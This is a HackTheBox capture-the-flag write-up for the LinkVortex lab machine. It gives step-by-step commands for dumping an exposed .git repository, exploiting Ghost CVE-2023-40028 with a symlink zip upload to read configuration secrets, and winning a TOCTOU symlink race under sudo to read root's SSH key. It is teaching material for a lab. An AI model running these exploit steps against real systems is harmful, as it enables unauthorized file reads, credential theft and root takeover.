HTB: LinkVortex Writeup

LinkVortex - HackTheBox Writeup

Machine Information

AttributeDetails
NameLinkVortex
OSLinux
DifficultyEasy
PointsN/A
Release DateN/A
IP Address10.10.11.47
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

LinkVortex is an easy-difficulty Linux machine that leverages multiple symbolic link vulnerabilities to achieve privilege escalation. The attack chain begins with discovering an exposed .git directory on a development subdomain, which yields Ghost CMS credentials through git history analysis. These credentials grant access to a Ghost installation vulnerable to CVE-2023-40028, an arbitrary file read flaw that permits authenticated users to upload symlinks. This vulnerability enables extraction of database credentials from the Ghost configuration file, leading to SSH access as the bob user. Final privilege escalation is accomplished through exploiting a TOCTOU (Time-of-Check-Time-of-Use) race condition in a bash script executed with sudo, allowing symlink target manipulation to read the root SSH private key.

TL;DR: .git enumeration → Git credentials → Ghost CVE-2023-40028 → Config file extraction → SSH access → TOCTOU symlink race → Root private key → Root shell


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.10.11.47

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open http Apache httpd

The nmap scan reveals SSH on port 22 and an Apache web server on port 80. The HTTP redirect indicates a hostname-based configuration.

Service Enumeration

Host Configuration:

Terminal window
echo "10.10.11.47 linkvortex.htb" | sudo tee -a /etc/hosts

Visiting http://linkvortex.htb reveals a blog site called “BitByBit Hardware” powered by Ghost CMS version 5.58. The site contains technical posts authored by admin@linkvortex.htb.

Subdomain Discovery:

Terminal window
ffuf -w /usr/share/amass/wordlists/bitquark_subdomains_top100K.txt \
-H "Host: FUZZ.linkvortex.htb" \
-u http://linkvortex.htb/ \
-ic -fs 230

A dev subdomain is discovered. Adding it to hosts:

Terminal window
echo "10.10.11.47 dev.linkvortex.htb" | sudo tee -a /etc/hosts

Directory Enumeration:

Terminal window
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-u http://dev.linkvortex.htb/FUZZ \
-ic -t 20

The .git directory is exposed on the development subdomain, containing full git history and objects.

Vulnerability Assessment

VulnerabilitySeverityDetails
Exposed .git directoryHighAllows extraction of repository history and credentials
CVE-2023-40028 (Ghost)HighAuthenticated arbitrary file read via symlink upload
TOCTOU Race ConditionHighBash script fails to handle symlink target changes
Hardcoded credentials in gitCriticalPassword stored in git history

Initial Foothold

Git Repository Exploitation

Using git_dumper to extract the repository:

Terminal window
git clone https://github.com/arthaud/git-dumper.git
python3 git-dumper/git_dumper.py http://dev.linkvortex.htb gitdump
cd gitdump

Examining git history:

Terminal window
git status
git restore --staged .
git diff

The diff reveals a password change in the authentication test file:

const password = 'thisissupersafe';
const password = 'OctopiFociPilfer45';

Credentials obtained: admin@linkvortex.htb / OctopiFociPilfer45

Ghost CMS Access

Navigate to http://linkvortex.htb/ghost and log in with the discovered credentials. Verify Ghost version in settings: 5.58.0

Ghost allows authenticated users to upload zip files containing symlinks, which can point to arbitrary files on the system. The vulnerability lies in insufficient validation of symlink targets.

Step 1: Create exploit directory structure

Terminal window
mkdir -p exploit/content/images/
ln -s /var/lib/ghost/config.production.json \
exploit/content/images/config.png
zip -r -y exploit.zip exploit/

The -y flag ensures symlinks are stored as symlinks, not dereferenced files.

Step 2: Upload via Ghost

Navigate to Settings → Labs → Import Content and upload exploit.zip.

Step 3: Read via HTTP

Terminal window
curl http://linkvortex.htb/content/images/config.png

This returns the Ghost configuration file contents, revealing SMTP credentials:

{
"mail": {
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}

Credentials obtained: bob@linkvortex.htb / fibber-talented-worth

SSH Access

Terminal window
ssh bob@linkvortex.htb
# Password: fibber-talented-worth

Retrieve user flag:

Terminal window
cat ~/user.txt
# <redacted>

Privilege Escalation

Sudo Capability Analysis

Check bob’s sudo permissions:

Terminal window
sudo -l

Output:

User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

The CHECK_CONTENT environment variable is preserved.

Script Analysis

Terminal window
cat /opt/ghost/clean_symlink.sh

The script performs these operations:

  1. Validates file has .png extension
  2. Checks if the file is a symlink using test -L
  3. Reads the symlink target with readlink
  4. If target contains “etc” or “root”, unlinks the file
  5. Otherwise moves to /var/quarantined/
  6. If CHECK_CONTENT=true, cats the quarantined file

Vulnerability: TOCTOU race condition between the security check and the cat operation.

TOCTOU Race Condition Exploitation

Step 1: Create initial symlink

Terminal window
mkdir -p /tmp/exploit
cd /tmp/exploit
ln -s /ok test.png
zip -r -y exploit.zip .

Upload via Ghost as before. Verify existence:

Terminal window
ls -la /opt/ghost/content/images/
# lrwxrwxrwx 1 1000 1000 3 Apr 2 16:41 key.png -> /ok

Step 2: Race condition loop (Terminal 1)

Start a loop that continuously updates the symlink target in the quarantine directory:

Terminal window
while true; do
ln -sf /root/.ssh/id_rsa /var/quarantined/key.png
done

Step 3: Execute script with CHECK_CONTENT (Terminal 2)

Terminal window
export CHECK_CONTENT=true
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh \
/opt/ghost/content/images/key.png

The script:

  1. Checks key.png → points to /ok (passes security check)
  2. Moves to /var/quarantined/key.png
  3. Race condition window opens
  4. Meanwhile, the loop updates the target to /root/.ssh/id_rsa
  5. Script cats the file with root privileges

Output:

Link found [ /opt/ghost/content/images/key.png ], moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
-----END OPENSSH PRIVATE KEY-----

Root Access via SSH

Save the private key locally:

Terminal window
cat > root_key << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
[paste full key here]
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 root_key
ssh -i root_key root@linkvortex.htb

Retrieve root flag:

Terminal window
cat ~/root.txt
# <redacted>

Attack Chain Summary

Exposed .git directory
Git history analysis (credential in diff)
Ghost CMS login (admin@linkvortex.htb)
CVE-2023-40028 symlink upload
config.production.json extraction
SSH access (bob@linkvortex.htb)
TOCTOU race condition in clean_symlink.sh
root private key extraction
SSH root access

Tools Used

ToolPurpose
nmapPort and service enumeration
ffufSubdomain and directory discovery
git_dumperRepository extraction from exposed .git
gitGit history and diff analysis
curlFile retrieval via HTTP
zipCreating exploit payloads with symlinks
sshRemote shell access

Key Learnings

Techniques Practiced

  • Git repository enumeration and exploitation
  • Exposed .git directory assessment and history analysis
  • Symlink-based arbitrary file read vulnerabilities
  • CVE-2023-40028 manual and automated exploitation
  • TOCTOU race conditions in bash scripts
  • Symlink target manipulation timing
  • Environment variable preservation in sudo

Lessons Learned

  1. Git is a goldmine: Exposed .git directories often contain sensitive information in commit history. Always check diffs and logs when enumerating.

  2. Symlinks are dangerous: When accepting user uploads, validate not just file types but also prevent symbolic link uploads. The -y flag in zip reveals the danger of tooling defaults.

  3. Time-of-Check-Time-of-Use matters: Security checks followed by file operations in bash create exploitable windows. Atomic operations or file locks prevent TOCTOU issues.

  4. Environment variable preservation: The env_keep+=CHECK_CONTENT in sudoers is a critical misconfiguration that enables bypass of intended security controls.

  5. Defense in depth fails: Multiple layers (Ghost authentication, symlink target checking, quarantine mechanism) were bypassed through a single race condition window.

  6. Configuration files are targets: Always search for .production.json, .env, config.php, etc., as they often contain database and service credentials.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>